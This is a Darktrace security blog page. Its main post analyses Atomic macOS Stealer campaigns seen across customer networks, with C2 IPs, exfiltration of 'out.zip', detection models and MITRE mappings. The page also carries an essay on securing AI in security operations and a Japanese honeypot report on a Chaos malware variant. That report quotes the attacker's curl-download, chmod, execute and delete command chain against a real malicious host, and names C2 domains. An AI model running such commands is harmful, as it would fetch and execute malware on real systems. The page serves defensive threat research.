ブログ
/
Network
/
December 4, 2025

Atomic Stealer: Darktrace’s Investigation of a Growing macOS Threat

Atomic Stealer is rapidly emerging as a significant macOS threat, using infostealing and backdoor capabilities to target Apple users worldwide. Darktrace observed campaigns in 24 countries, detecting activity across multiple kill chain stages and providing recommended actions to contain attacks.
Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
Isabel Evans
Cyber Analyst
Default blog imageDefault blog imageDefault blog imageDefault blog imageDefault blog imageDefault blog image
04
Dec 2025

The Rise of Infostealers Targeting Apple Users

In a threat landscape historically dominated by Windows-based threats, the growing prevalence of macOS information stealers targeting Apple users is becoming an increasing concern for organizations. Infostealers are a type of malware designed to steal sensitive data from target devices, often enabling attackers to extract credentials and financial data for resale or further exploitation. Recent research identified infostealers as the largest category of new macOS malware, with an alarming 101% increase in the last two quarters of 2024 [1].

What is Atomic Stealer?

Among the most notorious is Atomic macOS Stealer (or AMOS), first observed in 2023. Known for its sophisticated build, Atomic Stealer can exfiltrate a wide range of sensitive information including keychain passwords, cookies, browser data and cryptocurrency wallets.

Originally marketed on Telegram as a Malware-as-a-Service (MaaS), Atomic Stealer has become a popular malware due to its ability to target macOS. Like other MaaS offerings, it includes services like a web panel for managing victims, with reports indicating a monthly subscription cost between $1,000 and $3,000 [2]. Although Atomic Stealer’s original intent was as a standalone MaaS product, its unique capability to target macOS has led to new variants emerging at an unprecedented rate

Even more concerning, the most recent variant has now added a backdoor for persistent access [3]. This backdoor presents a significant threat, as Atomic Stealer campaigns are believed to have reached an around 120 countries. The addition of a backdoor elevates Atomic Stealer to the rare category of backdoor deployments potentially at a global scale, something only previously attributed to nation-state threat actors [4].

This level of sophistication is also evident in the wide range of distribution methods observed since its first appearance; including fake application installers, malvertising and terminal command execution via the ClickFix technique. The ClickFix technique is particularly noteworthy: once the malware is downloaded onto the device, users are presented with what appears to be a legitimate macOS installation prompt. In reality, however, the user unknowingly initiates the execution of the Atomic Stealer malware.

This blog will focus on activity observed across multiple Darktrace customer environments where Atomic Stealer was detected, along with several indicators of compromise (IoCs). These included devices that successfully connected to endpoints associated with Atomic Stealer, those that attempted but failed to establish connections, and instances suggesting potential data exfiltration activity.

Darktrace’s Coverage of Atomic Stealer

As this evolving threat began to spread across the internet in June 2025, Darktrace observed a surge in Atomic Stealer activity, impacting numerous customers in 24 different countries worldwide. Initially, most of the cases detected in 2025 affected Darktrace customers within the Europe, Middle East, and Africa (EMEA) region. However, later in the year, Darktrace began to observe a more even distribution of cases across EMEA, the Americas (AMS), and Asia Pacific (APAC). While multiple sectors were impacted by Atomic Stealer, Darktrace customers in the education sector were the most affected, particularly during September and October, coinciding with the return to school and universities after summer closures. This spike likely reflects increased device usage as students returned and reconnected potentially compromised devices to school and campus environments.

Starting from June, Darktrace detected multiple events of suspicious HTTP activity to external connections to IPs in the range 45.94.47.0/24. Investigation by Darktrace’s Threat Research team revealed several distinct patterns ; HTTP POST requests to the URI “/contact”, identical cURL User Agents and HTTP requests to “/api/tasks/[base64 string]” URIs.

Within one observed customer’s environment in July, Darktrace detected two devices making repeated initiated HTTP connections over port 80 to IPs within the same range. The first, Device A, was observed making GET requests to the IP 45.94.47[.]158 (AS60781 LeaseWeb Netherlands B.V.), targeting the URI “/api/tasks/[base64string]” using the “curl/8.7.2” user agent. This pattern suggested beaconing activity and triggered the ‘Beaconing Activity to External Rare' model alert in Darktrace / NETWORK, with Device A’s Model Event Log showing repeated connections. The IP associated with this endpoint has since been flagged by multiple open-source intelligence (OSINT) vendors as being associated with Atomic Stealer [5].

Darktrace’s detection of Device A showing repeated connections to the suspicious IP address over port 80, indicative of beaconing behavior.
Figure 1: Darktrace’s detection of Device A showing repeated connections to the suspicious IP address over port 80, indicative of beaconing behavior.

Darktrace’s Cyber AI Analyst subsequently launched an investigation into the activity, uncovering that the GET requests resulted in a ‘503 Service Unavailable’ response, likely indicating that the server was temporarily unable to process the requests.

Cyber AI Analyst Incident showing the 503 Status Code, indicating that the server was temporarily unavailable.
Figure 2: Cyber AI Analyst Incident showing the 503 Status Code, indicating that the server was temporarily unavailable.

This unusual activity prompted Darktrace’s Autonomous Response capability to recommend several blocking actions for the device in an attempt to stop the malicious activity. However, as the customer’s Autonomous Response configuration was set to Human Confirmation Mode, Darktrace was unable to automatically apply these actions. Had Autonomous Response been fully enabled, these connections would have been blocked, likely rendering the malware ineffective at reaching its malicious command-and-control (C2) infrastructure.

Autonomous Response’s suggested actions to block suspicious connectivity on Device A in the first customer environment.
Figure 3: Autonomous Response’s suggested actions to block suspicious connectivity on Device A in the first customer environment.

In another customer environment in August, Darktrace detected similar IoCs, noting a device establishing a connection to the external endpoint 45.94.47[.]149 (ASN: AS57043 Hostkey B.V.). Shortly after the initial connections, the device was observed making repeated requests to the same destination IP, targeting the URI /api/tasks/[base64string] with the user agent curl/8.7.1, again suggesting beaconing activity. Further analysis of this endpoint after the fact revealed links to Atomic Stealer in OSINT reporting [6].

Cyber AI Analyst investigation finding a suspicious URI and user agent for the offending device within the second customer environment.
Figure 4:  Cyber AI Analyst investigation finding a suspicious URI and user agent for the offending device within the second customer environment.

As with the customer in the first case, had Darktrace’s Autonomous Response been properly configured on the customer’s network, it would have been able to block connectivity with 45.94.47[.]149. Instead, Darktrace suggested recommended actions that the customer’s security team could manually apply to help contain the attack.

Autonomous Response’s suggested actions to block suspicious connectivity to IP 45.94.47[.]149 for the device within the second customer environment.
Figure 5: Autonomous Response’s suggested actions to block suspicious connectivity to IP 45.94.47[.]149 for the device within the second customer environment.

In the most recent case observed by Darktrace in October, multiple instances of Atomic Stealer activity were seen across one customer’s environment, with two devices communicating with Atomic Stealer C2 infrastructure. During this incident, one device was observed making an HTTP GET request to the IP 45.94.47[.]149 (ASN: AS60781 LeaseWeb Netherlands B.V.). These connections targeted the URI /api/tasks/[base64string, using the user agent curl/8.7.1.  

Shortly afterward, the device began making repeated connections over port 80 to the same external IP, 45.94.47[.]149. This activity continued for several days until Darktrace detected the device making an HTTP POST request to a new IP, 45.94.47[.]211 (ASN: AS57043 Hostkey B.V.), this time targeting the URI /contact, again using the curl/8.7.1 user agent. Similar to the other IPs observed in beaconing activity, OSINT reporting later linked this one to information stealer C2 infrastructure [7].

Darktrace’s detection of suspicious beaconing connectivity with the suspicious IP 45.94.47.211.
Figure 6: Darktrace’s detection of suspicious beaconing connectivity with the suspicious IP 45.94.47.211.

Further investigation into this customer’s network revealed that similar activity had been occurring as far back as August, when Darktrace detected data exfiltration on a second device. Cyber AI Analyst identified this device making a single HTTP POST connection to the external IP 45.94.47[.]144, another IP with malicious links [8], using the user agent curl/8.7.1 and targeting the URI /contact.

Cyber AI Analyst investigation finding a successful POST request to 45.94.47[.]144 for the device within the third customer environment.
Figure 7:  Cyber AI Analyst investigation finding a successful POST request to 45.94.47[.]144 for the device within the third customer environment.

A deeper investigation into the technical details within the POST request revealed the presence of a file named “out.zip”, suggesting potential data exfiltration.

Advanced Search log in Darktrace / NETWORK showing “out.zip”, indicating potential data exfiltration for a device within the third customer environment.
Figure 8: Advanced Search log in Darktrace / NETWORK showing “out.zip”, indicating potential data exfiltration for a device within the third customer environment.

Similarly, in another environment, Darktrace was able to collect a packet capture (PCAP) of suspected Atomic Stealer activity, which revealed potential indicators of data exfiltration. This included the presence of the “out.zip” file being exfiltrated via an HTTP POST request, along with data that appeared to contain details of an Electrum cryptocurrency wallet and possible passwords.

Read more about Darktrace’s full deep dive into a similar case where this tactic was leveraged by malware as part of an elaborate cryptocurrency scam.

PCAP of an HTTP POST request showing the file “out.zip” and details of Electrum Cryptocurrency wallet.
Figure 9: PCAP of an HTTP POST request showing the file “out.zip” and details of Electrum Cryptocurrency wallet.

Although recent research attributes the “out.zip” file to a new variant named SHAMOS [9], it has also been linked more broadly to Atomic Stealer [10]. Indeed, this is not the first instance where Darktrace has seen the “out.zip” file in cases involving Atomic Stealer either. In a previous blog detailing a social engineering campaign that targeted cryptocurrency users with the Realst Stealer, the macOS version of Realst contained a binary that was found to be Atomic Stealer, and similar IoCs were identified, including artifacts of data exfiltration such as the “out.zip” file.

Conclusion

The rapid rise of Atomic Stealer and its ability to target macOS marks a significant shift in the threat landscape and should serve as a clear warning to Apple users who were traditionally perceived as more secure in a malware ecosystem historically dominated by Windows-based threats.

Atomic Stealer’s growing popularity is now challenging that perception, expanding its reach and accessibility to a broader range of victims. Even more concerning is the emergence of a variant embedded with a backdoor, which is likely to increase its appeal among a diverse range of threat actors. Darktrace’s ability to adapt and detect new tactics and IoCs in real time delivers the proactive defense organizations need to protect themselves against emerging threats before they can gain momentum.

Credit to Isabel Evans (Cyber Analyst), Dylan Hinz (Associate Principal Cyber Analyst)
Edited by Ryan Traill (Analyst Content Lead)

Appendices

References

1.     https://www.scworld.com/news/infostealers-targeting-macos-jumped-by-101-in-second-half-of-2024

2.     https://www.kandji.io/blog/amos-macos-stealer-analysis

3.     https://www.broadcom.com/support/security-center/protection-bulletin/amos-stealer-adds-backdoor

4.     https://moonlock.com/amos-backdoor-persistent-access

5.     https://www.virustotal.com/gui/ip-address/45.94.47.158/detection

6.     https://www.trendmicro.com/en_us/research/25/i/an-mdr-analysis-of-the-amos-stealer-campaign.html

7.     https://www.virustotal.com/gui/ip-address/45.94.47.211/detection

8.     https://www.virustotal.com/gui/ip-address/45.94.47.144/detection

9.     https://securityaffairs.com/181441/malware/over-300-entities-hit-by-a-variant-of-atomic-macos-stealer-in-recent-campaign.html

10.   https://binhex.ninja/malware-analysis-blogs/amos-stealer-atomic-stealer-malware.html

Darktrace Model Detections

Darktrace / NETWORK

  • Compromise / Beaconing Activity To External Rare
  • Compromise / HTTP Beaconing to New IP
  • Compromise / HTTP Beaconing to Rare Destination
  • Anomalous Connection / New User Agent to IP Without Hostname
  • Device / New User Agent
  • Compromise / Sustained TCP Beaconing Activity To Rare Endpoint
  • Compromise / Slow Beaconing Activity To External Rare
  • Anomalous Connection / Posting HTTP to IP Without Hostname
  • Compromise / Quick and Regular Windows HTTP Beaconing

Autonomous Response

  • Antigena / Network / Significant Anomaly::Antigena Alerts Over Time Block
  • Antigena / Network / Significant Anomaly::Antigena Significant Anomaly from Client Block
  • Antigena / Network / External Threat::Antigena Suspicious Activity Block

List of IoCs

  • 45.94.47[.]149 – IP – Atomic C2 Endpoint
  • 45.94.47[.]144 – IP – Atomic C2 Endpoint
  • 45.94.47[.]158 – IP – Atomic C2 Endpoint
  • 45.94.47[.]211 – IP – Atomic C2 Endpoint
  • out.zip - File Output – Possible ZIP file for Data Exfiltration

MITRE ATT&CK Mapping:

Tactic –Technique – Sub-Technique

Execution - T1204.002 - User Execution: Malicious File

Credential Access - T1555.001 - Credentials from Password Stores: Keychain

Credential Access - T1555.003 - Credentials from Web Browsers

Command & Control - T1071 - Application Layer Protocol

Exfiltration - T1041 - Exfiltration Over C2 Channel

Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
Isabel Evans
Cyber Analyst

More in this series

No items found.

Blog

/

AI

/

April 9, 2026

How to Secure AI and Find the Gaps in Your Security Operations

Default blog imageDefault blog image

What “securing AI” actually means (and doesn’t)

Security teams are under growing pressure to “secure AI” at the same pace which businesses are adopting it. But in many organizations, adoption is outpacing the ability to govern, monitor, and control it. When that gap widens, decision-making shifts from deliberate design to immediate coverage. The priority becomes getting something in place, whether that’s a point solution, a governance layer, or an extension of an existing platform, rather than ensuring those choices work together.

At the same time, AI governance is lagging adoption. 37% of organizations still lack AI adoption policies, shadow AI usage across SaaS has surged, and there are notable spikes in anomalous data uploads to generative AI services.  

First and foremost, it’s important to recognize the dual nature of AI risk. Much of the industry has focused on how attackers will use AI to move faster, scale campaigns, and evade detection. But what’s becoming just as significant is the risk introduced by AI inside the organization itself. Enterprises are rapidly embedding AI into workflows, SaaS platforms, and decision-making processes, creating new pathways for data exposure, privilege misuse, and unintended access across an already interconnected environment.

Because the introduction of complex AI systems into modern, hybrid environments is reshaping attacker behavior and exposing gaps between security functions, the challenge is no longer just having the right capabilities in place but effectively coordinating prevention, detection, investigation, response, and remediation together. As threats accelerate and systems become more interconnected, security depends on coordinated execution, not isolated tools, which is why lifecycle-based approaches to governance, visibility, behavioral oversight, and real-time control are gaining traction.

From cloud consolidation to AI systems what we can learn

We have seen a version of AI adoption before in cloud security. In the early days, tooling fragmented into posture, workload/runtime, identity, data, and more. Gradually, cloud security collapsed into broader cloud platforms. The lesson was clear: posture without runtime misses active threats; runtime without posture ignores root causes. Strong programs ran both in parallel and stitched the findings together in operations.  

Today’s AI wave stretches that lesson across every domain. Adversaries are compressing “time‑to‑tooling” using LLM‑assisted development (“vibecoding”) and recycling public PoCs at unprecedented speed. That makes it difficult to secure through siloed controls, because the risk is not confined to one layer. It emerges through interactions across layers.

Keep in mind, most modern attacks don’t succeed by defeating a single control. They succeed by moving through the gaps between systems faster than teams can connect what they are seeing. Recent exploitation waves like React2Shell show how quickly opportunistic actors operationalize fresh disclosures and chain misconfigurations to monetize at scale.

In the React2Shell window, defenders observed rapid, opportunistic exploitation and iterative payload diversity across a broad infrastructure footprint, strains that outpace signature‑first thinking.  

You can stay up to date on attacker behavior by signing up for our newsletter where Darktrace’s threat research team and analyst community regularly dive deep into threat finds.

Ultimately, speed met scale in the cloud era; AI adds interconnectedness and orchestration. Simple questions — What happened? Who did it? Why? How? Where else? — now cut across identities, SaaS agents, model/service endpoints, data egress, and automated actions. The longer it takes to answer, the worse the blast radius becomes.

The case for a platform approach in the age of AI

Think of security fusion as the connective tissue that lets you prevent, detect, investigate, and remediate in parallel, not in sequence. In practice, that looks like:

  1. Unified telemetry with behavioral context across identities, SaaS, cloud, network, endpoints, and email—so an anomalous action in one plane automatically informs expectations in others. (Inside‑the‑SOC investigations show this pays off when attacks hop fast between domains.)  
  1. Pre‑CVE and “in‑the‑wild” awareness feeding controls before signatures—reducing dwell time in fast exploitation windows.  
  1. Automated, bounded response that can contain likely‑malicious actions at machine speed without breaking workflows—buying analysts time to investigate with full context. (Rapid CVE coverage and exploit‑wave posts illustrate how critical those first minutes are.)  
  1. Investigation workflows that assume AI is in the loop—for both defenders and attackers. As adversaries adopt “agentic” patterns, investigations need graph‑aware, sequence‑aware reasoning to prioritize what matters early.

This isn’t theoretical. It’s reflected in the Darktrace posts that consistently draw readership: timely threat intel with proprietary visibility and executive frameworks that transform field findings into operating guidance.  

The five questions that matter (and the one that matters more)

When alerted to malicious or risky AI use, you’ll ask:

  1. What happened?
  1. Who did it?
  1. Why did they do it?
  1. How did they do it?
  1. Where else can this happen?

The sixth, more important question is: How much worse does it get while you answer the first five? The answer depends on whether your controls operate in sequence (slow) or in fused parallel (fast).

What to watch next: How the AI security market will likely evolve

Security markets tend to follow a familiar pattern. New technologies drive an initial wave of specialized tools (posture, governance, observability) each focused on a specific part of the problem. Over time, those capabilities consolidate as organizations realize the new challenge is coordination.

AI is accelerating the shift of focus to coordination because AI-powered attackers can move faster and operate across more systems at once. Recent exploitation waves show exactly this. Adversaries can operationalize new techniques and move across domains, turning small gaps into full attack paths.

Anticipate a continued move toward more integrated security models because fragmented approaches can’t keep up with the speed and interconnected nature of modern attacks.

Building the Groundwork for Secure AI: How to Test Your Stack’s True Maturity

AI doesn’t create new surfaces as much as it exposes the fragility of the seams that already exist.  

Darktrace’s own public investigations consistently show that modern attacks, from LinkedIn‑originated phishing that pivots into corporate SaaS to multi‑stage exploitation waves like BeyondTrust CVE‑2026‑1731 and React2Shell, succeed not because a single control failed, but because no control saw the whole sequence, or no system was able to respond at the speed of escalation.  

Before thinking about “AI security,” customers should ensure they’ve built a security foundation where visibility, signals, and responses can pass cleanly between domains. That requires pressure‑testing the seams.

Below are the key integration questions and stack‑maturity tests every organization should run.

1. Do your controls see the same event the same way?

Integration questions

  • When an identity behaves strangely (impossible travel, atypical OAuth grants), does that signal automatically inform your email, SaaS, cloud, and endpoint tools?
  • Do your tools normalize events in a way that lets you correlate identity → app → data → network without human stitching?

Why it matters

Darktrace’s public SOC investigations repeatedly show attackers starting in an unmonitored domain, then pivoting into monitored ones, such as phishing on LinkedIn that bypassed email controls but later appeared as anomalous SaaS behavior.

If tools can’t share or interpret each other's context, AI‑era attacks will outrun every control.

Tests you can run

  1. Shadow Identity Test
  • Create a temporary identity with no history.
  • Perform a small but unusual action: unusual browser, untrusted IP, odd OAuth request.
  • Expected maturity signal: other tools (email/SaaS/network) should immediately score the identity as high‑risk.
  1. Context Propagation Test
  • Trigger an alert in one system (e.g., endpoint anomaly) and check if other systems automatically adjust thresholds or sensitivity.
  • Low maturity signal: nothing changes unless an analyst manually intervenes.

2. Does detection trigger coordinated action, or does everything act alone?

Integration questions

  • When one system blocks or contains something, do other systems automatically tighten, isolate, or rate‑limit?
  • Does your stack support bounded autonomy — automated micro‑containment without broad business disruption?

Why it matters

In public cases like BeyondTrust CVE‑2026‑1731 exploitation, Darktrace observed rapid C2 beaconing, unusual downloads, and tunneling attempts across multiple systems. Containment windows were measured in minutes, not hours.  

Tests you can run

  1. Chain Reaction Test
  • Simulate a primitive threat (e.g., access from TOR exit node).
  • Your identity provider should challenge → email should tighten → SaaS tokens should re‑authenticate.
  • Weak seam indicator: only one tool reacts.
  1. Autonomous Boundary Test
  • Induce a low‑grade anomaly (credential spray simulation).
  • Evaluate whether automated containment rules activate without breaking legitimate workflows.

3. Can your team investigate a cross‑domain incident without swivel‑chairing?

Integration questions

  • Can analysts pivot from identity → SaaS → cloud → endpoint in one narrative, not five consoles?
  • Does your investigation tooling use graphs or sequence-based reasoning, or is it list‑based?

Why it matters

Darktrace’s Cyber AI Analyst and DIGEST research highlights why investigations must interpret structure and progression, not just standalone alerts. Attackers now move between systems faster than human triage cycles.  

Tests you can run

  1. One‑Hour Timeline Build Test
  • Pick any detection.
  • Give an analyst one hour to produce a full sequence: entry → privilege → movement → egress.
  • Weak seam indicator: they spend >50% of the hour stitching exports.
  1. Multi‑Hop Replay Test
  • Simulate an incident that crosses domains (phish → SaaS token → data access).
  • Evaluate whether the investigative platform auto‑reconstructs the chain.

4. Do you detect intent or only outcomes?

Integration questions

  • Can your stack detect the setup behaviors before an attack becomes irreversible?
  • Are you catching pre‑CVE anomalies or post‑compromise symptoms?

Why it matters

Darktrace publicly documents multiple examples of pre‑CVE detection, where anomalous behavior was flagged days before vulnerability disclosure. AI‑assisted attackers will hide behind benign‑looking flows until the very last moment.

Tests you can run

  1. Intent‑Before‑Impact Test
  • Simulate reconnaissance-like behavior (DNS anomalies, odd browsing to unknown SaaS, atypical file listing).
  • Mature systems will flag intent even without an exploit.
  1. CVE‑Window Test
  • During a real CVE patch cycle, measure detection lag vs. public PoC release.
  • Weak seam indicator: your detection rises only after mass exploitation begins.

5. Are response and remediation two separate universes?

Integration questions

  • When you contain something, does that trigger root-cause remediation workflows in identity, cloud config, or SaaS posture?
  • Does fixing a misconfiguration automatically update correlated controls?

Why it matters

Darktrace’s cloud investigations (e.g., cloud compromise analysis) emphasize that remediation must close both runtime and posture gaps in parallel.

Tests you can run

  1. Closed‑Loop Remediation Test
  • Introduce a small misconfiguration (over‑permissioned identity).
  • Trigger an anomaly.
  • Mature stacks will: detect → contain → recommend or automate posture repair.
  1. Drift‑Regression Test
  • After remediation, intentionally re‑introduce drift.
  • The system should immediately recognize deviation from known‑good baseline.

6. Do SaaS, cloud, email, and identity all agree on “normal”?

Integration questions

  • Is “normal behavior” defined in one place or many?
  • Do baselines update globally or per-tool?

Why it matters

Attackers (including AI‑assisted ones) increasingly exploit misaligned baselines, behaving “normal” to one system and anomalous to another.

Tests you can run

  1. Baseline Drift Test
  • Change the behavior of a service account for 24 hours.
  • Mature platforms will flag the deviation early and propagate updated expectations.
  1. Cross‑Domain Baseline Consistency Test
  • Compare identity’s risk score vs. cloud vs. SaaS.
  • Weak seam indicator: risk scores don’t align.

Final takeaway

Security teams should ask be focused on how their stack operates as one system before AI amplifies pressure on every seam.

Only once an organization can reliably detect, correlate, and respond across domains can it safely begin to secure AI models, agents, and workflows.

Continue reading
About the author
Nabil Zoldjalali
VP, Field CISO

Blog

/

/

April 8, 2026

ダークトレースは新しいChaosマルウェア亜種によるクラウドの設定ミスのエクスプロイトを発見

Default blog imageDefault blog image

はじめに

敵対者の行動をリアルタイムに観測するため、ダークトレースは“CloudyPots”と呼ばれるグローバルなハニーポットネットワークを運用しています。CloudyPotsは幅広いサービス、プロトコル、クラウドプラットフォームに渡って悪意あるアクティビティを捕捉するように設計されています。こうしたハニーポットはインターネットに接続されているインフラを狙う脅威のテクニック、ツール、マルウェアについて貴重な情報を提供してくれます。

ダークトレースのハニーポット内で標的とされたソフトウェアの一例は、Apacheが開発したオープンソースフレームワークであり、コンピュータクラスタで大規模なデータセットの分散処理を可能にするHadoopです。ダークトレースのハニーポット環境では、攻撃者がサービス上でリモートコードを実行できるよう、Hadoopインスタンスが意図的に誤設定されています。2026年3月に観測されたサンプルにより、ダークトレースはChaosマルウェアに関連する活動を特定し、詳しく調査することができました。

Chaosマルウェアとは?

Lumen社のBlack Lotus Labsで最初に発見されたChaosは、Goベースのマルウェアです[1]。サンプル内の文字列に中国語の文字が含まれていることや、zh-CNロケールのインジケーターが存在することから、中国起源であると推測されています。コードの重複があることから、ChaosはKaijiボットネットの進化形である可能性が高いと見られます。

Chaosはこれまでルーターを標的としており、主にSSHブルートフォース攻撃やルーターソフトウェアの既知のCVE(共通脆弱性識別子)を通じて拡散します。その後感染したデバイスをDDoS(分散型サービス拒否攻撃)ボットネットや、暗号通貨マイニングに使用します。  

Chaosマルウェア侵害についてのダークトレースの視点

攻撃は脅威アクターがHadoop環境上のエンドポイントに対して新しいアプリケーションを作成するリクエストを送信したことから始まりました。

The initial infection being delivered to the unsecured endpoint.
図1:保護されていないエンドポイントへの最初の感染

これは新しいアプリケーションを定義するもので、最初のコマンドをコンテナ内で実行することがam-container-specセクションのコマンドフィールドで指定されています。これによりいくつかのシェルコマンドが起動されます:

  • curl -L -O http://pan.tenire[.]com/down.php/7c49006c2e417f20c732409ead2d6cc0. - ファイルを攻撃者のサーバーからダウンロードします。この例ではChaosエージェントマルウェア実行形式です。
  • chmod 777 7c49006c2e417f20c732409ead2d6cc0. - すべてのユーザーが読み取り、書き込み、マルウェアを実行できる権限を設定します。
  • ./7c49006c2e417f20c732409ead2d6cc0. - マルウェアを実行します。
  • rm -rf 7c49006c2e417f20c732409ead2d6cc0. - 活動の痕跡を消すためにマルウェアファイルをディスクから削除します。

実際には、このアプリケーションが作成されると、攻撃者が定義したバイナリが攻撃者のサーバーからダウンロードされ、システム上で実行され、その後、フォレンジックデータ収集を防ぐために削除されます。ドメイン pan.tenire[.]com は以前、“Operation Silk Lure”と呼ばれる別のキャンペーンで観測されています。これは悪意のある求人応募履歴書を通じて ValleyRATというリモートアクセス型トロイの木馬(RAT)を配布していました。Chaosと同様に、このキャンペーンでは、偽の履歴書自体を含め、攻撃ステージ全体にわたって大量の漢字が使用されていました。このドメインは107[.]189.10.219に解決されます。これは低コストのVPSサービスを提供することで知られるプロバイダー、BuyVMのルクセンブルク拠点でホストされている仮想プライベートサーバー(VPS)です。

アップデートされたChaosマルウェアサンプルの分析

Chaosはこれまでルーターやその他のエッジデバイスを標的としており、Linuxサーバー環境の侵害は比較的新しい方向性です。ダークトレースがこの侵害で観測したサンプルは64ビットのELFバイナリですが、ルーターのハードウェアの大部分は通常ARM、MIPS、またはPowerPCアーキテクチャで動作し、多くは32ビットです。

この攻撃に使用されたマルウェアのサンプルは、以前のバージョンと比べて著しい再構築が行われています。デフォルトの名前空間は“main_chaos”から単に“main”に変更され、またいくつかの関数が再設計されています。これらの変更が行われていますが、systemdを介して確立される永続化メカニズムや、悪意のあるキープアライブスクリプトが/boot/system.pubに保存されるなど、中心的な特徴は維持されています。

The creation of the systemd persistence service.
図2:systemd 永続化サービスの作成

同様に、DDoS攻撃を実行する関数もこれまで通り存在し、以下のプロトコルを標的とするメソッドが含まれています:

  • HTTP
  • TLS
  • TCP
  • UDP
  • WebSocket

ただし、SSHスプレッダーや脆弱性エクスプロイトなどのいくつかの機能は削除されたようです。さらに、以前はKaijiから継承されたと考えられていたいくつかの機能も変更されており、脅威アクターがマルウェアを書き直したか、大幅にリファクタリングしたことを示唆しています。

このマルウェアの新しい機能はSOCKSプロキシです。マルウェアがコマンド&コントロール(C2)サーバーからStartProxyコマンドを受信すると、攻撃者が制御するTCPポートで待ち受けを開始し、SOCKS5プロキシとして動作します。これにより、攻撃者は侵害されたサーバーを経由してトラフィックをルーティングし、それをプロキシとして使用することが可能になります。この機能にはいくつかの利点があります。被害者のインターネット接続から攻撃を開始できるため、活動が攻撃者ではなく被害者から発生しているように見せかけられること、また侵害されたサーバーからのみアクセス可能な内部ネットワークに移動できる点です。

The command processor for StartProxy. Due to endianness, the string is reversed.
図3:StartProxyのコマンドプロセッサ。エンディアン性のため文字列が反転しています

以前、他のDDoSボットネット、たとえばAisuruなどでは、他のサイバー犯罪者にプロキシサービスを提供するためにピボットしているケースがありました。Chaosの開発者はこの傾向に注目し、同様の機能を追加することで収益化のオプションを拡大、自らのボットネットの機能を強化することにより、他の競合するマルウェア運営者から遅れをとらないようにしたものと思われます。

サンプルには埋め込みドメイン、gmserver.osfc[.]org[.]cnが含まれており、C2サーバーのIPを解決するために使用されていました。本稿執筆の時点ではドメインは70[.]39.181.70に解決され、これは地理位置情報が香港にあるNetLabelGlobalが所有するIPです。

過去には、このドメインは154[.]26.209.250にも解決されており、これは専用サーバーレンタルを提供する低コストVPSプロバイダー、Kurun Cloudが所有していました。マルウェアはコマンドの送信および受信にポート65111を使用しますが、どちらのIPも本稿執筆時点ではこのポート上で接続を受け入れている様子はありませんでした。

主なポイント

Chaosは新しいマルウェアではなく、その継続的進化はサイバー犯罪者がボットネットをさらに拡大し機能を強化しようと努力を重ねていることの現れです。過去に報告されているChaosマルウェアにも、すでに幅広いルーターCVEのエクスプロイト機能が含まれていました。そして最近のLinuxクラウドサーバー脆弱性を狙った進化により、このマルウェアの影響範囲はさらに広がります。

したがって、セキュリティチームがCVEへのパッチを行い、クラウド上で展開されているアプリケーションに対して強固なセキュリティ設定を行うことが重要となります。クラウド市場が成長を続ける一方で、使用できるセキュリティツールが追い付かない状況においてこのことは特に重要な意味を持ちます。

AisuruやChaos等のボットネットがプロキシサービスをコア機能に取り入れる最近の変化は、ボットネットが組織とセキュリティチームにもたらすリスクはもはやDoS攻撃だけではないことを意味します。プロキシにより攻撃者はレート制限を回避し痕跡を隠すことができ、より複雑な形のサイバー犯罪が可能になると同時に、防御者にとっては悪意あるキャンペーンを検知しブロックすることが格段に難しくなります。

担当: Nathaniel Bill (Malware Research Engineer)
編集: Ryan Traill (Content Manager)

侵害インジケーター (IoCs)

ae457fc5e07195509f074fe45a6521e7fd9e4cd3cd43e42d10b0222b34f2de7a - Chaos マルウェアハッシュ

182[.]90.229.95 - 攻撃者 IP

pan.tenire[.]com (107[.]189.10.219) - 悪意あるバイナリをホストしているサーバー

gmserver.osfc[.]org[.]cn (70[.]39.181.70, 154[.]26.209.250) - 攻撃者 C2 サーバー

参考資料

[1] - https://blog.lumen.com/chaos-is-a-go-based-swiss-army-knife-of-malware/

Continue reading
About the author
Nathaniel Bill
Malware Research Engineer
あなたのデータ × DarktraceのAI
唯一無二のDarktrace AIで、ネットワークセキュリティを次の次元へ